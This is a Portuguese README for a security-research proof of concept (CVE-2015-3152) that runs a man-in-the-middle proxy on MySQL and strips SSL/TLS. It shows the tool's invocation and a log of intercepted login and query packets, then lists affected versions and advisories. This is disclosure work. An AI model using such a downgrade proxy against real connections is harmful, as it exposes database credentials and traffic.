duo-labs/mysslstripCVE-2015-3152 PoC
mysslstrip é uma prova de conceito baseada em Python que mostra como fazer MITM no tráfego MySQL e remover SSL/TLS, conforme CVE-2015-3152.
mysslstrip.py [-h] [-p LISTEN_PORT] [-i LISTEN_INTERFACE] dest
[root@duo1 ~]# python2.7 mysslstrip.py -p 3307 127.0.0.1:3306
2015-04-29 21:33:14+0000 [-] Log opened.
2015-04-29 21:33:14+0000 [-] listen: 127.0.0.1:3307; connect: 127.0.0.1:3306
2015-04-29 21:33:14+0000 [-] MySQLForwardServerFactory starting on 3307
2015-04-29 21:33:14+0000 [-] Starting factory <__main__.MySQLForwardServerFactory instance at 0x7f7769912fc8>
2015-04-29 21:33:21+0000 [__main__.MySQLForwardServerFactory] Starting factory <twisted.internet.endpoints.OneShotFactory instance at 0x7f776787c248>
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: 'J\x00\x00\x00\n5.6.21\x00\x04\x00\x00\x00"l{I8{%D\x00\xff\xff\x08\x02\x00\x7f\xc0\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00fSPsur[Rg/S6\x00mysql_native_password\x00'
2015-04-29 21:33:21+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\xb6\x00\x00\x01\x85\xa6\x7f@\x00\x00\x00\x01!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00root\x00\x14U\xe7\x0b\x0cs\xb5\xf3\x00\x07&=\xa8\xa6\xf9I\xf0\x86}G\xffmysql_native_password\x00e\x03_os\x05Linux\x0c_client_name\x08libmysql\x04_pid\x042361\x0f_client_version\x065.6.21\t_platform\x06x86_64\x0cprogram_name\x05mysql'
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: '\x07\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00'
2015-04-29 21:33:21+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '!\x00\x00\x00\x03select @@version_comment limit 1'
2015-04-29 21:33:21+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: "\x01\x00\x00\x01\x01'\x00\x00\x02\x03def\x00\x00\x00\x11@@version_comment\x00\x0c!\x00x\x00\x00\x00\xfd\x00\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00)\x00\x00\x04(Distributed by The IUS Community Project\x05\x00\x00\x05\xfe\x00\x00\x02\x00"
2015-04-29 21:33:27+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\x16\x00\x00\x00\x03SELECT "HELLO, WORLD"'
2015-04-29 21:33:27+0000 [MySQLForwardClientProtocol,client] <class '__main__.MySQLForwardClientProtocol'> received: '\x01\x00\x00\x01\x01"\x00\x00\x02\x03def\x00\x00\x00\x0cHELLO, WORLD\x00\x0c!\x00$\x00\x00\x00\xfd\x01\x00\x1f\x00\x00\x05\x00\x00\x03\xfe\x00\x00\x02\x00\r\x00\x00\x04\x0cHELLO, WORLD\x05\x00\x00\x05\xfe\x00\x00\x02\x00'
2015-04-29 21:33:33+0000 [MySQLForwardServerProtocol,0,127.0.0.1] <class '__main__.MySQLForwardServerProtocol'> received: '\x01\x00\x00\x00\x01'
Isso é uma vulnerabilidade real?
Sim! Criptografe tudo. Permitir a degradação oportunista da criptografia é uma prática muito ruim.
A vulnerabilidade afeta MySQL 5.7.2 e versões anteriores, juntamente com MySQL Connector versões 6.1.2 e anteriores, todas as versões do Percona Server e todas as versões do MariaDB.
Correção?
Foi corrigido no MySQL 5.7.3 ... mas a correção de segurança não foi portada de volta para nenhuma outra versão, então se você estiver na 5.6 como 99,99% da Internet está, você está sem sorte a menos que mude para a "versão prévia" 5.7.
Criado por Adam Goodman da Duo Labs.
Perguntas?
Consultas de RP: [email protected]
Consultas Técnicas: [email protected]
Twitters: @duo_labs
http://backronym.fail
https://www.duosecurity.com/blog/backronym-mysql-vulnerability
http://www.openwall.com/lists/oss-security/2015/04/29/4
http://www.ocert.org/advisories/ocert-2015-003.html
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3152